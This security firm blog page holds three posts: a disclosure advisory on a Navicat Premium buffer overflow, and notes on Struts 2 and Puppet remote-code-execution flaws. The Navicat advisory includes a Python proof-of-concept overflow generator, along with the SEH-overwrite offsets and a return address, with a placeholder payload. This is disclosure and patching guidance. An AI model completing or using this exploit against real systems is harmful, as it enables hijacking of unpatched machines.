Home > Vulnerability

Navicat Premium Oracle Connection Buffer Overflow (SEH overwrite) Vulnerability

May 1, 2018 by

Advisory Information

Title: Navicat Premium Oracle Connection Buffer Overflow (SEH overwrite)

Date Published: 01/05/2018

Advisory Summary

Inputting an excessively long string of characters into the ‘host’ field when creating a new Oracle connection causes the program to crash. A lack of address space layout randomisation (ASLR) enabled within the software allows an attacker to reliably hijack the execution flow of the application.

Vendor

PremiumSoft CyberTech Ltd

Affected Software

Product Version
NaviCat Premium <= 12.0.26

Description of Issue

A buffer overflow vulnerability was discovered in NaviCat Premium version 12.0.26. This vulnerability was found in the “New Connection” component of the application. Entering an excessively long string into the host field of a new Oracle connection will cause the program to crash. This crash, combined with a lack of ASLR enabled within the application, allows an attacker to overwrite the structured exception handler (SEH) and hijack execution flow of the application. This issue was tested on a 32-bit Windows 7 host.

PoC

The following proof of concept python script will generate a text file with a string to overwrite SEH. Once the file is generated, copy the contents of navicatPOC.txt and paste into the host field of a new Oracle connection. Test the connection to trigger the crash 


#!/usr/bin/python
# Title: Navicat < 12.0.27 Oracle Connection Overflow
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: https://www.navicat.com
# Date: 01/05/2018
# Version: 12.0.26
# Tested on Windows 7 32-bit
# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.
 
 
# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow. 
filename="navicatPOC.txt"
junk = "A" * 1502
#nseh = "\x4C\x4C\x77\x04"
#seh= "\x75\x2a\x01\x10"
nseh = "B" * 4
seh = "C" * 4
fill = "D" * 4000
buffer = junk + nseh + seh + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

This will result an SEH overwrite, as demonstrated by the following screenshot:

SEH Overwrite
 

From here, we can replace SEH with POP POP RET instructions, located at 10012a75:

seh= "\x75\x2a\x01\x10"

And replace nSEH with the following code to jump to our payload:

nseh = "\x4C\x4C\x77\x04"

Which will land at the payload, represented in the proof of concept as the character ‘D’ (\x44).

Remediation

This issue has been patched and the patch notes can be found here.

The latest version of Navicat Professional can be found on the Navicat website.

Timeline

Advisory sent – 4th April 2018

Requested confirmation that advisory has been recieved by Navicat – 9th April 2018

Confirmation of the issue by Navicat – 9th April 2018

Patch released by Navicat – 26th April 2018

Advisory published by 7 Elements – 1st May 2018

Apache Struts 2 Exploit – have you patched?

July 31, 2013 by

Apache Struts 2 Exploit – have you patched?

In early July and then in mid July, Apache Struts 2 released information on two new vulnerabilities.  These recent vulnerabilities for Struts 2 appear to have gone under the radar in terms of patching urgency and active exploitation is now happening in the wild. The vulnerabilities appear to have gone unnoticed because they have received little media attention and the vulnerability description perhaps doesn’t do justice to the potential scope of the vulnerability:

Apache Struts 2 before 2.3.14.1 allows remote attackers to execute arbitrary OGNL code

Of course, the vulnerabilities will have been dealt with through organisations’ patching programs, if they were picked up. But have you assessed the potential impact correctly and taken steps to remediate this issue?

So what’s the true potential impact of the vulnerability if it were exploited?

The vulnerability alone may not be hugely significant, but when put into the context of an attack it can have much greater consequences. The vulnerability allows for some post-exploitation techniques to be utilised, such as installing backdoors and JSP post-exploitation tool kits. This allows for more elaborate and complex attacks to occur.

The true impact of the exploitation of this vulnerability when combined with post-exploitation tool kits could be full compromise of a system with the ability for that system to be used for onward compromise of connected hosts.

How easy is it to use?

7 Elements has discovered an exploit kit designed to target Struts 2 vulnerabilities. Whilst the exploit code itself required reasonable skill to construct, the toolkit enables attackers with a low level of skill to use the toolkit to attack Struts 2 vulnerabilities. The Chinese built toolkit essentially allows an attacker to enter their target via copy and paste, press a button and view the results.

Struts2 exploit code

Struts2 exploit code

(It comes with instructions on how to use the tool in a blog post that can be easily translated via online translators. As such, this isn’t just available to Chinese speaking script kiddies!)

 

The exploit code makes use of the following arbitrary code execution vulnerabilities within Struts 2:

– 2010 S2-005: http://struts.apache.org/development/2.x/docs/s2-005.html (CVE-2010-1870)

– 2011 S2-009: http://struts.apache.org/development/2.x/docs/s2-009.html (CVE-2011-3923)

– 2013 S2-013: http://struts.apache.org/development/2.x/docs/s2-013.html (CVE-2013-1966)

– 2013 S2-016: http://struts.apache.org/development/2.x/docs/s2-016.html (CVE-2013-2251)

 

The vulnerabilities exists due to a lack of proper input validation. Input validation occurs where end user information is not validated before being used by a web application. If an attacker can embed malicious commands in these parameters, the system may execute those commands on behalf of the web application, resulting in the execution of remote code. A more detailed explanation on the inner workings of the exploit can be found here:

http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

The option to choose which of the four Struts 2 vulnerabilities to exploit indicates that all are still useful to an attacker, and show that vulnerabilities from three years ago are still to be found.

What can you do?

Confirm that your current patching process has identified the need to apply this patch and correctly triaged the effort and priority. If you are yet to deploy a patch, then Apache has “Strongly recommended” that Struts 2 users upgrade to Struts 2.3.15.1. Doing so will address the current vulnerabilities.

If historically your organisation has chosen to not patch and deploy other mitigation techniques such as filtering, revisit these controls to ensure that they are still effective and provide the desired protection from the current Apache Struts 2 Exploit.

Puppet Vulnerability

June 20, 2013 by

This week has seen a timely reminder on the importance of effective patch management in information security with the release of a security advisory about a remote code execution Puppet Vulnerability. Organisations needs to ensure that all services and technology platforms are covered, not just the major players.

Would you say ‘yes’ if asked if you have an effective patch management process? Yes for many people would mean that they are aware of the need to patch and take steps to maintain patching levels on core technology platforms such as Microsoft and Oracle. However, what about other key enabling technology in use within the organisation?

Puppet Labs[1] provides IT automation software that enables organisations to standardise builds and deployments and manage compliance activity through centralised patch management. On Tuesday they released information on a remote code execution vulnerability:

When making REST api calls, the puppet master takes YAML from an untrusted
client, deserializes it, and then calls methods on the resulting object. A YAML
payload can be crafted to cause the deserialization to construct an instance of
any class available in the ruby process, which allows an attacker to execute
code contained in the payload.[2]

What does this mean? Well, a malicious individual with internal network access could attack  and gain remote access to the ‘Puppet Master’.

As the ‘Puppet Master’ is the central server that manages all functions and controls the remote machines, gaining remote access to this device could potentially enable an attacker to make changes on all devices within the environment under control of the master. It would even be possible to create new accounts on all of the remote machines that are managed, thereby giving the attacker legitimate credentials on all of these devices.[3]

The ‘Puppet Master’ also functions as a certificate authority by default. So any compromise could also have an impact on the integrity of those certificates.

All in all, quite a headache if this were to be realised. It is a good example of why an organisation should take steps to ensure that as an organisation you have identified all vendors, have a process in place to collate all relevant security related advisories and are able to assess and implement updates in a timely and controlled manner.

Puppet Labs has issued updated software to address this specific vulnerability and details can be found here.